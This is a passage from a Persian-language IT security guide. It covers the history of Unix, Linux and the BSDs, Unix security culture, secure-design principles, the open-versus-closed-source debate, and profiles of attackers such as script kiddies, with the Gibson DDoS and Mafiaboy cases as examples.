  .نمودنوشتند استفاده ميمجدد ميانتشار افزارهاي با قابليت نرم

Unix و Minix  

سـازي خـودش از      تصميم گرفـت پيـاده     ٢١تاننبام. اندرو اس رد، پروفسور   ك را شروع    GNU ةه استالمن پروژ  كتقريباً در همان زماني     
توانست آزادانه  شد او مي   برنامه از ابتدا نوشته مي     ةه هم كاز آنجا   . ه در تدريس و تحقيق پديد آورد       را براي استفاد   Unixعامل  سيستم

 پرداخـت  AT&Tه حق امتيـازي بـه   كند، بدون اينكعامل عملياتي را توزيع     سيستم كتاب درسي خود منتشر و ي     كمتن برنامه را در     
و به پردازشگرهاي مبتنـي  رد كعمل مي IBM PC ATهاي شخصي ايانههاي مشابه ر، بر اساس نمونهMinixاين سيستم، . نمايد

تاب درسي عـالي    ك كيهمچنين  شده و   افزاري پايدار و مستندسازي    بستر نرم  كيپديد آمدن   به  منجر  اين طرح   .  مجهز بود  Intelبر  
پـي مربـوط   كنار مسائل رعايت حق ك درو اين امر نبود،  معيار اساسي  كي Minixطراحي  در   "ارآمديك"با اينحال   . عامل شد سيستم

  . خوبي از آب درنيايدة وسيع، گزينة براي استفاده روزمره در گسترMinixتاب درسي باعث شد كبه 

ه ك ـ Unixعامـل    آزاد سيـستم   ة نسخ ك تصميم گرفت ي   ٢٢لينوس تروالدز  فنلاندي به نام     ة دانشجوي علوم رايان   ك ي ۱۹۹۱در سال   
زي و سيستم فايلهـا را دوبـاره   ك مرةهستگام به گام ، Minix ةتروالدز با شروع از برنام. پديد آورداشد ب روزمره مناسبتر ةبراي استفاد 

تروالدز سيستم بدست آمـده  . هاي اصلي تاننبام در آن نبود     از برنامه  كيه هيچ كدست آورد    سيستم جديدي ب   هكرد تا اين  كسازي  پياده
يب سيستم خود بـا سـاير ابزارهـاي         كتروالدز با تر  . ندك استالمن توزيع    GPL ةينام ناميد و تصميم گرفت آنرا تحت گواه       "Linux"را  

، توانـست  Xنسرسيوم  ك Windows ةدهند آزاد و سرويس   افزار  نرم بنياد   GNU و ويرايشگر متن     Cامپايلر  كرايگان موجود خصوصاً    
  .ننده همچنان ادامه داردككمكصدها  تا به امروز توسط Linuxار روي ك. ندكامل و عملياتي ايجاد كعامل  سيستمكي

NetBSD, FreeBSD, OpenBSD  
عامل  از سيستم  AT&Tهاي   برنامه ة طرحي را براي حذف هم     ٢٣)CSRG (ليكاي بر گروه تحقيقات سيستمهاي رايانه    ۱۹۸۸در سال   

لـي از   كسـازي بر  امل پيـاده   آماده شده بود ش ـ    ۱۹۸۹ه براي اولين بار در ژوئن       ك" سازي نگارش اول  هكمحصول شب . "ردكخود شروع   
TCP/IP    ه آن را خريـداري     ك ـس  ك دلار روي نوار ضبط توزيع شد، و هر          ۱۰۰۰ اين محصول به بهاي      .شد و تسهيلات مربوطه مي

. ه محدوديت حق انتشار اصلي محفـوظ بمانـد  كخواست روي برنامه آن انجام دهد، مشروط بر آنه ميكرد مجاز بود هر تغييري  كمي
هـاي  سـازي مبناي بسياري از پياده   تبديل به   لي بسرعت   ك بر ةبرنامو  ردند؛  كسازي  را پياده  ٢٤ ناشناس FTPزرگ برنامه   ببرنامة  چند  

TCP/IP4.3 محصول موقت موسوم به ك ي. در سراسر صنعت شدBSD Reno   و محـصول موقـت دوم،   ۱۹۹۰ در اوايـل سـال 
 فايـل   ۶امـل بـود مگـر بـراي         كعامـل    سيـستم  كن محصول، ي ـ   اي . بوجود آمد  ۱۹۹۱، در ژوئن    "سازي نگارش دوم  هكمحصول شب "
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بيـل   ۱۹۹۱در پـائيز  . عامـل قـرار داده نـشده بـود     و لذا در سيـستم   ندشد مي AT&Tهاي  ه شامل برنامه  ك اصلي   ةباقيمانده در هست  
  . پديد آوردBSD/360عامل عملياتي به نام  سيستمك اين فايلها را براي پردازشگر اينتل نوشت و ي٢٥جولتيز

 NetBSDنند و اين تلاش آنان      كار  كشده  يلك سيستم تش  ةظرف چند ماه گروهي از داوطلبان موظف شدند براي نگهداري و توسع           
ه ك ـ پروژه بايد آنقدر گسترش يابـد        ةه هدف اولي  ك معتقد بودند    بعضي از اعضا  . بسرعت از هم پاشيد    NetBSD طرح   .نامگذاري شد 

 ولي اعتقـاد    ،عامل ادامه دهد   سيستم ةند و به انجام تحقيقات در زمين      كي متفاوتي را پشتيباني     ن است بسترها  كه مم ك ييبتواند تا جا  
هـا روي   ن اسـت بـه بهتـر اجـرا شـدن برنامـه            ك ـه مم ك ـجـا   ه آنها بايد منابع خود را تا آن       كدهندگان اين بود    گروه ديگري از توسعه   

 را شـروع  FreeBSD ة گروه دوم از گروه اول جدا شـد و پـروژ      .تر شدن استفاده از سيستم اختصاص دهند       و ساده  Intel/386بستر
ه امنيت و قابليت اعتماد مـورد       ك اين گروه بر اين باور بود        . جدا شد  NetBSD گروه انشعابي ديگر از پروژه       كچند سال بعد، ي   . ردك

 آنهـا اقتبـاس از   .لات بـالقوه بـود  كيد اين گروه روي بررسي دقيق مـتن برنامـه بـراي شناسـائي مـش       كتأ. اندتوجه لازم قرار نگرفته   
 OpenBSD اين گـروه سـوم   .ردندكبودند را محدود املاً بررسي نشدهكيفيت  كه از نظر    كه  كها تا زماني  driverهاي جديد و     برنامه

  .نام گرفت

  ددنگزي را برUnixمشاغل 

ري از مشاغل به اسـتفاده از محـصولات   ، بسياUnixعاملهاي  و امنيت و ظرافت سيستمMicrosoftبه دليل قيمتگذاري انحصاري     
 را مطلوب يافتند    OpenBSDه، پايداري و امنيت بستر      كتعدادي از فروشندگان لوازم شب    . مند شدند علاقه Linuxتجاري مبتني بر    

اي تهك بـويژه بعـضي شـر      اربران تجـاري  ك ـ براي ساير    BSDI پايداري و پشتيباني پيشنهادي      .ار بردند كرا براي طرحهاي خود ب    و آن 
 را به لحاظ شرايط مناسـب       BSD/OSهاي مختلف   همچنين دانشگاه .  ناميدند BSD/OSاصلي ميزبان وب اوليه جذاب بود و آنرا         

  .ردندكده انتخاب كاي و نيز پشتيباني براي دانشجويان و دانشگواهينامه

 . بسيار متـداول شـد  Linuxيگزين بودند عامل جاامپيوترهاي شخصي خود به دنبال سيستمكه براي كدر همين اثنا در ميان افرادي     
 ردك ـميتري پشتيباني   افزارهاي بسيار متنوع   سخت از Linuxتر و پايدارتر بود، اما      عامل نسبتاً ايمن   سيستم ك ي OpenBSDگرچه  

  .ردن با آن تا حدودي آسانتر بودكاركو همچنين مراحل نصب و 

ه محققـان در آزمايـشگاههاي ملـي مختلـف، در دانـشگاهها و        ك ـاق افتـاد     زماني اتف ـ  ۱۹۹۰ ة دوم ده  ةليدي ديگر در نيم   كتأثيرات  
 ـ  بنديهاي خوشه در رايانه.ردندكشده را شروع بنديهاي خوشهار با رايانهك NASAهمچنين در     شخـصي تهيـه   ةشـده صـدها رايان

بجـاي اجـراي     سيستمها مـسائل بـزرگ       در اين . گردندهاي با سرعت بالا متصل مي     هكگيرند، و به شب   ها قرار مي  شوند، در قفسه   مي
 ـو  شـوند    رايانه، به چند قسمت قابل مديريت تقسيم مي        كخيلي سريع روي ي    نـار هـم تحليـل    كهـاي   مـوازي روي رايانـه    صورت  ب

و عـلاوه   داد  هاي منفرد جواب مي   اربرد نبود، اما غالباً بهتر از استفاده از ابررايانه        ك مسائل قابل    ةاگرچه براي هم  روش  اين  . گردند مي
 نام داشت، مبتني بر     Beowulfه از اين نوع بود و       كي از اولين سيستمهاي عملياتي      ك ي .شدمتري صرف آن مي   ك بسيار   ةآن هزين  بر

Linux اي،   ابررايانه ةجانبه آن توسط جامع    همه ةبرنامه و توسع  اين  شدن   گذاشته ك به دليل به اشترا    . بودLinux ـ  سـرعت ميـان    ه   ب
  .اري مشابه انجام دهند پخش شدكه مايل بودند كر جهان ساير گروههاي سراس

 و  IBMت  كهـم آميخـت، توجـه دو شـر          در Microsoftعامل  لات فزاينده بازار انحصاري سيستم    كه با مش  ك اين علايق زماني   ةهم
Dell ه هر دو از    كLinux عامـل  يستمه تنها به سكتي كدر همين ايام دو شر. ردكرده بودند را جلب ك اعلام حمايت تجاريLinux 
 مردمي در تاريخ بـورس سـهام ايالـت متحـده را     ةترين پيشنهادات اوليدو فقره از موفق - VA Linux و Redhat -پرداختند مي

  .ندك را در سيستمهايش پشتيباني ميLinux نسخه از كرد يك اعلام HPوتاهي پس از آن ك مدت .ردندكنصيب خود 
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هـاي وب،  دهنـده  براي اجراي سـرويس Linux آنها از .نندك  ميارك Linuxشگاههاي تحقيقاتي با  بسياري از مشاغل و آزماي    هامروز
 مـشاغل   .نماينـد هاي روميزي اسـتفاده مـي      بستر عمومي رايانه   ك بعنوان ي  متركي، و در وسعت     كترونيك پست ال  هايدهندهسرويس

 -د ن ـنكاي بزرگ را از طريق اجـراي مـوازي حـل         مسائل رايانه  دنتوانه مي ك - را   Linuxهاي بزرگ   ها، خوشه بجاي خريد ابررايانه  
اربردهـا هـستند و بـه ميـزان وسـيع           ك بخوبي مناسب اين     OpenBSD، و   FreeBSD  ،NetBSD به طور مشابه     .آورند پديد مي 

ان بيـشتري   اربرك ـ ، رشـد   نسبت به هر سيـستم ديگـر       Linuxرسد  با اينحال براساس شواهد غير رسمي بنظر مي       . شونداستفاده مي 
رسـد  ، بنظر مـي Sun Microsystemsت كشده توسط شرهاي اعلامك تجاري از جمله ريسةشدپشتيباني اعلامطبق  .داشته باشد

Linux هـاي ديگـر    ارايي، ما از گونـه    كدليل مسائل مربوط به امنيت و       ه   حداقل ب  ،با اينحال .  رشد بهتري در بازار داشته باشد      ة موازن
BSD   هاي  ه گروه كن نداريم؛ زيرا عليرغم اين    ها انتظار محو شدBSD   ه از  ك ـرسد  دهند، بنظر نمي   خود ادامه مي   ةها به حيات جداگان

  .اي بگيرند بهرهLinuxسهم بازار 

ه كها  اين نسخه . دننكاندازي مي راه فلاپي سيستم را     كبا ي تنها  ه  ك وجود دارد    BSD و   Linuxعامل  هاي متعددي از سيستم   نسخه
ه در آنها امنيت زيـاد لازم اسـت، از جملـه    كاند اربردهايي طراحي شدهك هستند براي  closedBSD و   Trinix  ،picoBSDشامل  

  .هكاربردهاي قانوني، ترميم، و لوازم شبك

  Unixامنيت و 

 ـ   ك ـهمانند سيـستمهايي   و  ٢٦اربرهكچنـد عامـل   سيـستم ك ي ـUnix اسـت،  Microsoft Windows NT ةه اسـاس آنهـا بـر پاي
 .ننـد كافراد متفاوت از رايانه استفاده  زمان كدر يدهد عامل اجازه مي  ه سيستم كاين است   اربره  كمنظور از چند  .  است ٢٧يا چندوظيفه

ي از قابليتهـاي    ك ـي. درآورداجرا  به  همزمان  را بصورت   هاي مختلفي   تواند برنامه اربر مي كه هر   كاست  عني  نيز به اين م   اي  وظيفهچند
 سيـستم بطـور همزمـان اسـتفاده     كه از ي ـك ـمختلـف  ) يا چند برنامه(چند نفر   ار  كه از تداخل    ك است   عاملي اين  طبيعي چنين سيستم  

 را تحت تأثير قرار دهـد،       ناربراكها يا   ن است ساير برنامه   ك برنامه خودسر مم   ك بدون وجود چنين حفاظتي ي     .ندكنند جلوگيري   ك مي
راي جلـوگيري از وقـوع چنـين        ب. نمايدار سيستم رايانه را مختل      كل  كن است   كند، يا مم  ك كن است فايلها را بطور تصادفي پا      كمم

  . جايي داشته استUnixاي همواره در فلسفه طراحي  نوعي امنيت رايانهسوانحي،

ه راههـايي  ك ـ سيستم امنيتي مجهز است    ك داراي ي  Unix. ندكحافظه فراهم مي  صرف از    از حفاظت    تسهيلاتي بيش  Unixامنيت  
نتـرل  كننـد را    كدهند، و از منابع سيستم استفاده مي       سيستم را تغيير مي    هاينند، پايگاه داده  كلها دسترسي پيدا مي   اربران به فاي  كه  ك

ال است داشـته    كه داراي اش  كي  افزار  نرمربندي نشده باشد، بدون دقت استفاده شود، يا         كه سيستم درست پي   كسفانه زماني أ مت .ندكمي
انـد ريـشه در    پيدا شدهUnixه طي سالهاي متمادي در  كهاي امنيتي   تقريباً تمام حفره  . نندكمي چنداني ن  كمكها  انيزمكباشد، اين م  

 كتواننـد ي ـ  ه مـي ك ـ معتقدند  Unix فروشندگان   ةبنابراين تقريباً هم  . هاي طراحي دروني سيستم   اند تا نارسايي  اينگونه مسائل داشته  
 ،تـر باشـند   ايمنبسيار  عاملهاي ديگر   توانند از سيستم   مي Unixه سيستمهاي   ك ما معتقديم    .عامل نسبتاً مطمئن را ارائه دهند     سيستم

  .نندكمحيط تأثيرگذاري مياين ه عليه امنيت بيشتر در كبا اينحال مسائلي هستند اما 

   و اميدواريهاانتظارات 

ارهـاي علمـي، سـرگرمي، و       ك در   Unixاز   آنها   ة تجرب .ربندي خاصي ببينند  ك را با پي   Unixه  كاند  اربران اينطور بار آمده   كبسياري از   
رده ك ـاربران شـايد عـادت     ك ـ. اندها و اغلب فرامين دسترسي داشته      شاخه ةه در سيستم به هم    كتحقيقاتي، هميشه اينطور بوده است      

افـزار  نند نرم ه بتوا كاند  ردهكاربران همچنين غالباً عادت     ك. فرض براي عموم قابل خواندن باشند     ه فايلهايشان در حالت پيش    كباشند  
بـراي انجـام آن لازم      ) بالاترين سطح دسترسـي   (ه معمولاً دسترسي سطح سيستمي      كاري  كنند؛  كمورد نظر خودشان را بسازند و نصب        

  .است
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و  مـديران    لازم اسـت  تـر داشـته باشـيم       ه امنيـت قـوي    كبراي اين .  منش خوب امنيتي است    ك اين انتظارات خلاف ي    ةمتأسفانه هم 
محـدود  اربران در انجام وظايفـشان نيـستند را   كه چندان مورد نياز   كگهگاه امتيازات دسترسي به فايلها و فراميني         هاسيستمراهبران  

ه ك ـو پردازشگر متني نياز دارد لازم نيست انتظار داشته باشـد             يكترونيكارش به پست ال   كه براي انجام    كسي  ك بر اين اساس     .کنند
ه ك ـي افـزار  نرماربران نبايد بتوانند كبه همين ترتيب براي افزايش امنيت، . ندك را اجرا Cايلر امپكه و كهاي تحليلگر شب  بتواند برنامه 

  .نندكديده و مجاز تأييد نشده را نصب  فرد دورهكآزمايش نشده و توسط ي

 ة بجـاي حـذف هم ـ     بـراي نمونـه   . لي امنيت در حد معقول، ضريب امنيت را بالا ببرنـد          كاربرد برخي از اصول     كتوانند با   راهبران مي 
اربري ك ـ گـروه    كاربران عضو در ي ـ   كه فقط   كاي محافظت شوند    توانند بگونه ها از هر دستگاه، اين ابزارها مي      تابخانهكامپايلرها و   ك

رد ك ـتوان به آنهـا اعتمـاد       ه مي كساني  كه نيازمند اينگونه دسترسي هستند و       كاربراني  ك .خاص بتوانند به آنها دسترسي داشته باشند      
هـاي ابـزار    توان براي ساير رده    روشهاي مشابهي را مي    .اربري افزوده شوند  كتوانند به اين گروه     نند، مي كقتهاي لازم را اعمال     ه د ك

 سيستم  كدر ي " داده"علاوه بر آن تغيير ديدگاه سنتي به        . Usenetهاي اخبار   ه يا برنامه  كنترل شب كافزار  نيز استفاده نمود، مانند نرم    
هـاي   بـراي مثـال فايلهـا و شـاخه        . تواند مفيد باشد  مي) فرضفرض به غير قابل خواندن بودن در حالت پيش        ن بودن در حالت پيش    از قابل خواند  (
تنظـيم صـحيح    . در مقابل دسترسي خواندن محافظت شـوند      بايد  فرض  اربران بجاي قابل خواندن بودن براي همه، در حالت پيش         ك
دهند چگونه اين تغيير ساده     ه نشان مي  ك دو مثال هستند     ٢٨اي رمزهاي عبور  فايلهاي سايه  از   نترلهاي دسترسي به فايلها، و استفاده     ك

  . بهبود بخشدUnixتواند امنيت را در تمام ربندي سيستم ميكدر پي

ن بـه   اربراك بديهي است اگر     .انتظارات است برآورده شدن   ت در   كاربران به مشار  كردن  ك وادار   Unixترين وجه افزايش امنيت     حياتي
رده باشند اين توصيه در مورد افزايش امنيـت سيـستمهاي   ك عادت Microsoft Windwos NTعاملهاي شخصي قبل از سيستم

 .ه تحـصيلات، آگـاهي، و ايجـاد انگيـزه اسـت           كراه رسيدن به اين هدف صدور بخشنامه نيست، بل        . ندك نيز صدق مي   NTمبتني بر   
قابـل حـل   مبتني بـر فنـاوري   حلهاي لات فردي با راهكه مشكراراً نشان داده ك تجربه معيارهاي فني امنيت بسيار مهم هستند، ولي 

متـر  كه نـسبت بـه آنچـه امـروزه بـا آن مواجـه هـستند        كردند كها را در محيطي شروع اربران استفاده از رايانهك بسياري از   .نيستند
نـد،  ك كمكسازي خطرات   تواند به خنثي  اري آنان چقدر مي   كه هم كاربران در مورد خطرات موجود و اين      ك با آموزش    .ننده بود كتهديد

انيزم ك ـت در تجارب موفق امنيتي، آنها را بخـشي از م   كاربران براي مشار  ك صحيح در    ة با ايجاد انگيز   .يابد  مي امنيت سيستم افزايش  
بـه  توانـد  ميموزش بدون انگيزش آ. ه با هم اعمال شوند    كدهند  آموزش و انگيزش بهتر تنها زماني خوب نتيجه مي        . نيدكامنيتي مي 

ارهاي كدر  ه  كتواند به اين معني باشد      هم مي اند و انگيزش بدون آموزش      اعمال نشده عمل  ه معيارهاي امنيتي در     كآن مفهوم باشد    
  .ايجاد شده استاف كشرسيده، انجام به 
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  فصل دوم
  راهبران برايامنيت 

  لياتك
دهد ند، و توضيح مي   كران اجرايي ارائه و در مورد طراحي سيستمهاي ايمن بحث مي           تعريف عملي از امنيت براي مدي      كاين فصل ي  

 نمونه ك موردي يةشمارد و مطالع  برخي از ابزارهاي متداول مهاجمين را بر مي        .نمايداي حمله مي  سي به سيستمهاي رايانه   كه چه   ك
  .دهدحمله را شرح مي

   راهبرانوامنيت 
ار ك ـه بايـد    ك ـنند  كار مي كنيد همانطور   كه مديريت مي  كي  يه سيستمها كوليت داريد اطمينان دهيد      راهبر فني، شما مسئ    كبعنوان ي 

 كي ـ": هك ـرت اسـت از اين     تعريف عملي مفيـد بـراي راهبـران عبـا          كه تعاريف رسمي زيادي براي امنيت وجود دارد، ي        كبا اين . نندك
  ."روده انتظار آن ميكنند كطور رفتار ه آنكرد كاد افزارش اعتمه بتوان به آن و نرمكصورتي ايمن است امپيوتر درك

ه نبايد آن را بخوانند همچنان ناخوانـده بمانـد،          كساني  كايد تا چند هفته در آن بماند و براي          ردهكه امروز وارد رايانه     كاگر اطلاعاتي   
هـاي  بـا ايـن تعريـف، فاجعـه    . است راهبر ك يهاي نقش ازكي حساس در هرة وظيفك در اينصورت امنيت ي   .آنگاه رايانه ايمن است   

  .آينداربران غيرمجاز براي امنيت تهديد به حساب ميك ةدار به اندازالكافزارهاي اشطبيعي و نرم

  ه ضعيف نوشته شدهكاي برنامه
بـراي  ، هفـت معيـار      ٣٠ شـرودر  . دي .ام و   ٢٩جروم سالزر ،  ۱۹۷۵در سال   . اي ايمن آسان نيست   افزارهاي رايانه طراحي سيستمها و نرم   

  :اين معيارها عبارتند از. ردندكبناي چنين سيستمي تعريف 

  دسترسيهاي حداقلي
تواند توسط مهاجمين بـدخواه  ه ميك دسترسي حداقلي خساراتي     .اربر و فرآيندي بايد از حداقل دسترسيهاي لازم برخوردار باشد         كهر  

اربران اختصاص داده شوند،    كفرض به   ه بطور پيش  كاي آن دسترسيها بج . ندكو بطور مشابه توسط خطاها صورت پذيرد را محدود مي         
  .اربران لازم باشند تا به آنها اختصاص يابندكبايد صراحتاً براي فعاليت 

  انيزم اقتصاديكم
  .ردكسازي را بررسي و بطور صحيح پياده و ساده باشد تا بتوان آنكوچكيد طراحي سيستم با

  املكميانجيگري 
  .نترل شودكن مجوز صحيح هر دسترسي بايد براي داشت
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 راهنماي امنيت فناوري اطلاعات ٢٦٦ 

  طراحي باز 
شناسـند  ه آنـرا مـي    كاربراني  كه به   ك سيستم   ٣١ مخفي دربوجود  اين ضابطه از    . باشدايجاد شده   جهل مهاجم   بر اساس   ايمني نبايد   

  .ندكدهد جلوگيري ميان دسترسي ميكام

  هاجداسازي دسترسي
  . شرط بستگي داشته باشدكآورده شدن بيش از يانپذير باشد، دسترسي به منابع سيستم بايد به بركه امكهرجا 

  كانيزم مشتركحداقل م
انيزمهـاي  ك بـراي غلبـه بـر م       كنترل مخفيانه و هم تلاشهاي مـشتر      كار، هم   ك اين .ديگر جدا شوند  كاربران بايد توسط سيستم از ي     ك

  .ندكامنيت سيستم را محدود مي

  پذيرش رواني
  .نار گذاشته نشوندك تا در عمل از آنها استفاده شود و اربرد آسان باشندكنترلهاي امنيتي بايد در ك

نند، يا  ك، از راههاي ميانبر استفاده مي     برنداز ياد مي  آنها را   اگر هم ياد بگيرند     گيرند،  متأسفانه طراحان هيچگاه اين معيارها را ياد نمي       
هاي  عاملها، الگوريتمها، برنامه   سيستم  درنتيجه .نماينده خود را درگير آن      كه اين مسائل آنقدر اهميت ندارند       كرسند  به اين نتيجه مي   

گيرنـد و مـدعي     ه طراحي ناقص دارند ولي در سطح وسيعي مـورد اسـتفاده قـرار مـي               كافزارهاي فراواني وجود دارند     اربردي و نرم  ك
 شودنشده مي بينينبي پيش لات و آثار جا   كمشبه بروز   طراحي نامناسب منجر    . سيستم هستند در  ه بخشي از زيربناي امنيت      كهستند  

اسـتفاده قـرار    وء   مهـاجم مـورد س ـ     كن است موجب خرابيهاي تصادفي در سيستمها يا اطلاعات شود و يا عامدانه توسط ي              كه مم ك
  .گيردب

  افزار اختصاصي افزار آزاد در مقابل نرم نرم

ه آزادانه متن برنامه را براي بررسي، تغيير،        كاي  عهه آيا فرايندهاي توس   كافزار اين است      ي از مباحث بحث برانگيزتر در طراحي نرم       كي
افزارهـاي اختـصاصي   دهند، بايد به دليل مسائل امنيتي بر نرمآزاد در دسترس قرار مي  صورت  ب) "بازمتن"يا  " افزار آزاد نرم"(و توزيع مجدد    

  . يا نهترجيح داده شوند) "بستهمتن"(

اسـتفاده در برنامـه بـا        الات قابل سوء  كردن اش كار مهاجمين را در پيدا      كترس باشد    طرف اگر متن برنامه بصورت آزاد در دس        كاز ي 
شود،  پذيريها ميه منجر به آسيبكاي وجود دارد   چون طبقات متداول فراواني از خطاهاي برنامه       .ندكتر مي خواندن متن برنامه راحت   

 هـاي افزارلات نـرم كمـش . ننـد كار كلات را آش ـكار سپرد تا مـش كهاي تحليل خودتوان به برنامهحتي گاهي اوقات متن برنامه را مي  
  .انداستفاده قرار گرفتهوء اند و مورد سپيدا شدهعمدتاً باز  متن

نمـود يـا    " وسك ـمهندسـي مع  "تـوان   افزارهـا را مـي    در بـسياري از مـوارد نـرم       . بسته عـلاج درد نيـست     افزار متن   از طرف ديگر نرم   
بـديهي  . ه متن برنامه در دسترس باشد تـشخيص داده شـوند          ك برنامه بدون اين   ٣٢ جعبه سياه  ارزيابييق  توانند از طر  پذيريها مي  آسيب

استفاده مهـاجمين از      نتوانسته از سوء   ٣٣)IIS (روسافتك اطلاعات اينترنتي ماي   ةدهند  سرويس ةاست عدم دسترسي به متن مثلاً برنام      
استفاده گـزارش شـده نـسبت بـه مـثلاً            ن محصول تعداد بيشتري سوء    رسد اي ند و بنظر مي   كپذيريهاي مختلف آن جلوگيري     آسيب

  .داشته باشد -ه متن آن در اختيار عموم است ك - ٣٤آپاچيدهنده وب سرويس

  و پـيش از هـر      ننـد   كقبـل از مهـاجمين پيـدا        حل آنهـا را     لات و راه  كتوانند مش اربران برنامه مي  كنندگان و   كتوليد ،باز متن ةبرنامدر  
ي از  ك ـافـزار آزاد اسـت، در سـطح وسـيعي بعنـوان ي               نـرم  كه ي ـ ك OpenBSDعامل  سيستم. اي آنها را منتشر سازند    سوء استفاده 
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، توسـط   ٣٥ اصـلي  ةهست ةه هر خط از متن برنام     ك حاضر شناخته شده است، عمدتاً به دليل اين        حالِهاي موجود   عاملترين سيستم  ايمن
 بـه ايـن     - Linux از جملـه     - باز ديگـر  عاملهاي متن هاي اصلي سيستم  هسته. از نظر امنيتي نيز مميزي شده است      نندگانش  كتوليد

تـوان درجـه بـازبيني امنيتـي        ل مي كمش. دهندگان هستند هايي از تعداد زيادي از توسعه     برنامههقطعشوند و حاوي    شدت بازبيني نمي  
  . را دانستSolaris از قبيل Unixعاملهاي اختصاصي سيستم

  شناختن مهاجم
مهـم نيـست   يعنـي   ؛ند؟ ايـن مـسئله تقريبـاً اهميتـي نـدارد         كترين انواع حملات نفوذ مي    ه با خبره  ك شب كهاي ي ي به رايانه  سكچه  

  .ردك آنها بايد از سيستم محافظت ةه در مقابل همكساني باشند، بلكن است چه كمهاجمين مم

Script Kiddieها  

ه متأسـفانه هنـوز بـه حـس         ك ـساني  ك ـان و نوجوانان هستند؛     كودك مهاجمين   ه از نام آنها پيداست، در بسياري از موارد        كهمانگونه  
  .اندي خود نرسيدهكنيكنترل مهارتهاي تكافي براي كو تشخيص مسئوليت 

 ايـن عبـارت تمـسخرآميز    .گويندمي) برنامههاي قطعهفسقلي( Script Kiddieنند ك تهاجم استفاده ميةه از ابزارهاي خبركبه جواناني 
هـاي  برنامـه هقطع ـه حمـلات خـود را پديـد آورنـد از            كمهاجمين بجاي اين  اين  ه  كبه اين مسئله اشاره دارد      " برنامه هقطع "ةواژ. است

ه ك ـشـوند   ناميده مـي  " فسقلي"اين مهاجمين از آن جهت      . نندك شود استفاده مي   downloadتواند از اينترنت    ه مي كتهاجمي آماده   
  .بوده استير سن قانوني  زيدستگيرهنگام بسياري از آنها سن 

ه اسـلحه دارد بايـد      ك ـه از نوجـواني     ك ـ تهديد و خطر جدي به حساب آيند، به همان دليـل             كبرنامه بايد بعنوان ي   هقطعهاي  فسقلي
 نوجـوان   كه ي ـ ك ـنند بايد حتي بيش از بزرگسالان ترسيد، چرا         ك حمل مي  ك سب ةه اسلح كدر بسياري از موارد از نوجواناني       . ترسيد
  .شدكه ماشه را بكو لذا احتمال بيشتري دارد  متر احتمال دارد پيامدهاي عمل خود را بفهمدكشد كخواهد ماشه را ب يوقتي م

 هدف  ٣٦مؤسسه تحقيقاتي گيبسون  وب  پايگاه   ۲۰۰۱براي مثال در سال     . ندكبرنامه هم صدق مي   هقطعهاي   براي فسقلي  مسئلهاين  
 ۴۰۰تهاجم از طريق بـيش از  . ار انداختك ساعت از ۱۷ه آنرا بيش از     كقرار گرفت    ٣٧)DDoS (شده خرابي سرويس  تهاجم توزيع  كي

 وقتـي  .استفاده قرار گرفته بودند ار مورد سوءك خودة حملكيانجام ه براي ك روي اينترنت به اجرا رسيد Windowsرايانه مبتني بر 
. نـد كوس و رديابي    كت آورد، و سپس آنرا مهندسي مع       حمله را بدس   ة نسخه از برنام   ك توانست ي  ٣٨استيو گيبسون مسئله روشن شد،    

  . ساله بوده است۱۳ دختر كاو يپايگاه وب مهاجم به فرد ه كدر نهايت مشخص شد 

را به خاطر حملات ماه فوريه سـال        " Mafiaboy "۲۰۰۰انادا در نوزدهم آوريل سال      كدر مورد مشابه ديگري وقتي مقامات مسئول        
 ميليـارد دلار    ۷/۱ه موجب   كهاي شخصي   پر از پرورنده  پايگاههاي  ، و بسياري ديگر از      Yahoo  ،E*TRADE، CNN او به    ۲۰۰۰

 تحـت حمايـت قـانون       ، سـاله  ۱۶ بچةه پـسر  كنند؛ چرا   كردند، نتوانستند نام متهم را براي مردم منتشر         كخسارت شده بود بازداشت     
  .انادا قرار داشتكحفاظت از زندگي شخصي خردسالان 

برنامه و اسبهاي تراواي مخصوص خـود را نداشـته باشـند،            هقطعن است مهارت فني لازم براي نوشتن        كرنامه مم بهقطعهاي  فسقلي
فهمنـد   يا نمي  ؛نندكمايلند از ابزارهاي خود استفاده      آنها ابزار در اختيار دارند و       . ندكل زيادي ايجاد نمي   كمشبرايشان  ولي اين مسئله    

  .شان اهميتي نداردشوند و يا برايموجب چه خساراتي مي
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 .س هنـوز مطمـئن نيـست؛ هـيچ بررسـي مـوثقي وجـود نـدارد                كاره خواهد شد؟ هـيچ    كبرنامه وقتي بزرگ شد چ    هقطع فسقلي   كي
بعضي از آنها علاقه بـه رايانـه را از      . شوندبه راه راست هدايت مي    برنامه  قطعههاي  گويد بسياري از فسقلي   گزارشهاي غير رسمي مي   

استخدام چنين  (گردند   امنيت رايانه بازمي   ةشوند، و حتي بعضي از آنها به حوز       ه مي كسيستم يا راهبر شب   متصدي   دهند، بعضي  دست مي 
ه برخي از اين افراد بـه زنـدگي   ك ولي ناگفته پيداست ،)هنوز موضوعي مورد مناقشه اسـت اي در مجامع امنيت رايانه ،هكافرادي براي نظارت بر شب    

  .هندد خود ادامه ميةارانكتبه

  جاسوسهاي صنعتي

-ردهكوشش كبعضي افراد . اي وجود داردشده از سيستمهاي رايانهحال رشدي براي اطلاعات سرقته بازار سياه دركرسد به نظر مي 
ت در قبـال دريافـت مبـالغ    ك شـر كپـذيريهاي ي ـ مثلاً پيشنهاد رفع آسـيب . نندكاند از صاحبان قانوني اطلاعات باجگيري و اخاذي      

ارتهـاي  ك ةه در آنهـا مجرمـان، شـمار       ك ـوجود داشته اسـت     ) و احتمالاً موارد متعدد گزارش نشده     ( چندين مورد مستند     .انددادههنگفت را   
ت كه شـر  ك ـرد مگـر اين   ك ـه اطلاعات را منتشر خواهند      كاند  ردهكت دزديده و تهديد     ك شر ك ي ةدهنداعتباري مشتريان را از سرويس    

نفوذ مورد  ه  كي  يتهاكاند اسرار صنعتي شر   ردهكمهاجميني سعي   ه  كمبني بر اين  رشهايي وجود دارد     همچنين گزا  .بهايي به آنها بپردازد   
 - شورهاك ـ و البتـه نـه همـه         - شورهاي ديگـر  ك ـاين معاملات در ايالات متحده و بسياري از         . را به رقبايشان بفروشند   اند  قرار داده 

  .استاعلام شده غيرقانوني 

   ومتيكح و عوامل پردازانايده

معمـولاً نيـت   . نندكري يا سياسي به سايتها نفوذ مي   كه بدلايل ف  كوجود دارد   " ران مخالف كمتف"ي از   جمعيتهميشه و در همة جوامع      
ن ك ـنند، گـاهي مم ك بيانيه سياسي منتشر ميكگاهي مخالفين ي  .  براي نوعي انتشار بيانيه است     "صفحات وب تغيير ظاهر   "اين افراد   
